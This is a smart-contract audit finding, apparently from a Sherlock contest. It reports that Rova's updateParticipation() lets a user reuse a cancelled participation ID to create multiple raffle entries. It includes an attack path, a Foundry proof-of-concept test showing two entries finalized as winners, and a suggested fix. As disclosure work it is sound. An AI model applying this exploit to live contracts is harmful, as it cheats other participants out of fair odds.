Scrawny Clear Cheetah

High

# Users can create multiple participations by using canceled participations

### Summary

If `finalizesAtParticipation` in the launch group settings is set to `false`, the protocol prevents users from creating multiple participations.

However, it is possible for users to create multiple participations by calling the `updateParticipation()` function with the previously canceled or updated participation IDs.

### Root Cause

When updating a participation, the [`updateParticipation()`](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L312-L397) function erases the previous participation and create a new one with the new participation info.

Before creating a new participation, the function performs some validations to check if the previous participation and the new participation request are valid.

```solidity
    function updateParticipation(UpdateParticipationRequest calldata request, bytes calldata signature)
        external
        nonReentrant
        whenNotPaused
        onlyLaunchGroupStatus(request.launchGroupId, LaunchGroupStatus.ACTIVE)
    {
        ... ...
        ParticipationInfo storage prevInfo = launchGroupParticipations[request.prevLaunchParticipationId];
        // If launch group finalizes at participation, the participation is considered complete and not updatable
        if (settings.finalizesAtParticipation || prevInfo.isFinalized) {
            revert ParticipationUpdatesNotAllowed(request.launchGroupId, request.prevLaunchParticipationId);
        }

        // Validate participation exists and user, requested currency match
        ParticipationInfo storage newInfo = launchGroupParticipations[request.newLaunchParticipationId];
        if (request.currency != prevInfo.currency) {
            revert CurrencyMismatch(prevInfo.currency, request.currency);
        }
        if (request.userId != prevInfo.userId) {
            revert UserIdMismatch(prevInfo.userId, request.userId);
        }
        ... ...
    }
```

By the way, as the `tokenAmount` and `currencyAmount` of the previous participation are not checked, cancelled or revoked participations can be exploited for creating multiple participations.

### Internal pre-conditions

*None*

### External pre-conditions

*None*

### Attack Path

1. A malicious user creates a participation with `ParticpationId1` via `createParticipation()`.
2. Then he updates the created participation via `updateParticipation()` with the previous participation Id `ParticpationId1` and new participation Id `Participation2`. At this moment, the participation `ParticpationId1` is in revoked status.
3. However, he again calls `updateParticipation()` with the previous participation Id `ParticpationId1` and new participation Id `Participation3`.
4. Repeats 3 with new participation Ids.

### Impact

According to the [docs on roles](https://github.com/dpm-labs/rova-contracts/blob/main/README.md#roles) in the README, the winners are selected by operators.

>*`OPERATOR_ROLE`: The operator role for the launch. This will be the role for automated actions like selecting winners for a raffle or auction or performing batch refunds.*

This statement means that the winners can be automatically selected via a raffle or auction.

Therefore, by creating multiple participations, malicious users can enhance their chances of securing winning participations.

I evaluate the impact as Medium and likelihood as High because it can be exploited by anyone without any restriction.

### PoC

The following test case demonstrates that how multiple participations can be created and be selected as winners:

```solidity
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    UpdateParticipationRequest,
    ParticipationInfo,
    CurrencyConfig
} from "../src/Types.sol";

contract LaunchPocH02Test is Test, Launch, LaunchTestBase {
    LaunchGroupSettings public settings;
    ParticipationRequest public originalParticipationRequest;

    function setUp() public {
        _setUpLaunch();

        // Setup initial participation
        settings = _setupLaunchGroup();
        originalParticipationRequest = _createParticipationRequest();
        bytes memory signature = _signRequest(abi.encode(originalParticipationRequest));

        vm.startPrank(user1);
        currency.approve(
            address(launch),
            _getCurrencyAmount(
                originalParticipationRequest.launchGroupId,
                originalParticipationRequest.currency,
                originalParticipationRequest.tokenAmount
            )
        );
        launch.participate(originalParticipationRequest, signature);

        vm.stopPrank();
    }

    function test_UpdateParticipation_MultipleParticipations() public {
        bytes32 newParticipationId1 = "newParticipationId1";
        bytes32 newParticipationId2 = "newParticipationId2";

        // First participation update
        {
            // Prepare update participation request
            UpdateParticipationRequest memory updateRequest = 
                _createUpdateParticipationRequest(1000, testLaunchParticipationId, newParticipationId1);
            bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

            vm.startPrank(user1);
            uint256 updatedCurrencyAmount =
                _getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, updateRequest.tokenAmount);
            currency.approve(address(launch), updatedCurrencyAmount);

            // Update participation
            launch.updateParticipation(updateRequest, updateSignature);
            vm.stopPrank();
        }
        
        // Second participation update
        {
            // Prepare update participation request
            UpdateParticipationRequest memory updateRequest = 
                _createUpdateParticipationRequest(1000, testLaunchParticipationId, newParticipationId2);
            bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

            vm.startPrank(user1);
            uint256 updatedCurrencyAmount =
                _getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, updateRequest.tokenAmount);
            currency.approve(address(launch), updatedCurrencyAmount);

            // Update participation
            launch.updateParticipation(updateRequest, updateSignature);
            vm.stopPrank();
        }
        
        // Check if user1's two participations are created successfully
        ParticipationInfo memory participation1 = launch.getParticipationInfo(newParticipationId1);
        assertEq(participation1.tokenAmount, 1000e18);
        ParticipationInfo memory participation2 = launch.getParticipationInfo(newParticipationId2);
        assertEq(participation2.tokenAmount, 1000e18);
        assertEq(participation1.userId, participation2.userId);

        // Check if the both participations can be selected as winners
        vm.startPrank(operator);
        bytes32[] memory winnerParticipationIds = new bytes32[](2);
        winnerParticipationIds[0] = bytes32(newParticipationId1);
        winnerParticipationIds[1] = bytes32(newParticipationId2);

        launch.finalizeWinners(testLaunchGroupId, winnerParticipationIds);
        vm.stopPrank();
    }

    function _createUpdateParticipationRequest(uint256 newTokenAmount, bytes32 prevParticipationId, bytes32 newParticipationId)
        internal
        view
        returns (UpdateParticipationRequest memory)
    {
        uint256 launchTokenDecimals = launch.tokenDecimals();
        return UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: prevParticipationId,
            newLaunchParticipationId: newParticipationId,
            userId: testUserId,
            userAddress: user1,
            tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }
}
```

### Mitigation

I suggest adding new validation to the `updateParticipation()` function to ensure that neither of `tokenAmount` and `currencyAmount` of the previous participation is `0`.
